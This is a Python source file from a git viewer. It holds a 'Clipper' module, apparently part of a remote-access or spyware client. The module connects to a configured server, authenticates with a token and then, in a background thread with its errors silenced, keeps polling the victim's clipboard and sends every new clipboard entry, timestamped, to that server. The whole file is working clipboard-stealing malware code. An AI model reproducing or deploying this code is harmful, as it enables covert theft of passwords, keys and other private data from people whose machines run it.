blob: ede15deca16306f7bfd32b6fe7b7efd8fe81eb86 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
'''
Creates a connection to the server, sending the
clipboard data in intervals as long as its not
the same data as before.
Verified: 2021 February 6
* Follows PEP8
* Tested Platforms
* Windows 10
* Third Party Modules
* pyperclip
'''
from client.modules.module import Module
from shared.helper import Helper
from shared.state import Static
from shared.error import Error
from shared.data import Data
import pyperclip
import socket
import time
class Clipper(Module):
__INTERVAL = Static.LIVE_TIMEOUT / 2
def __init__(self, token):
super().__init__(token)
self.__first = True
self.__before = ''
@Error.quiet_thread
def __send(self):
with socket.create_connection(
(Static.IP, Static.PORT)) as sock:
Data.send(sock, self.token)
Data.recv(sock)
while True:
paste = data = pyperclip.paste()
if paste == self.__before:
data = ''
else:
if self.__first:
self.__first = False
data = f'{Helper.timestamp()}:{paste}'
else:
data = f'\n{Helper.timestamp()}:{paste}'
Data.send(sock, data)
Data.recv(sock)
self.__before = paste
time.sleep(Clipper.__INTERVAL)
def live(self):
Helper.thread(self.__send)
|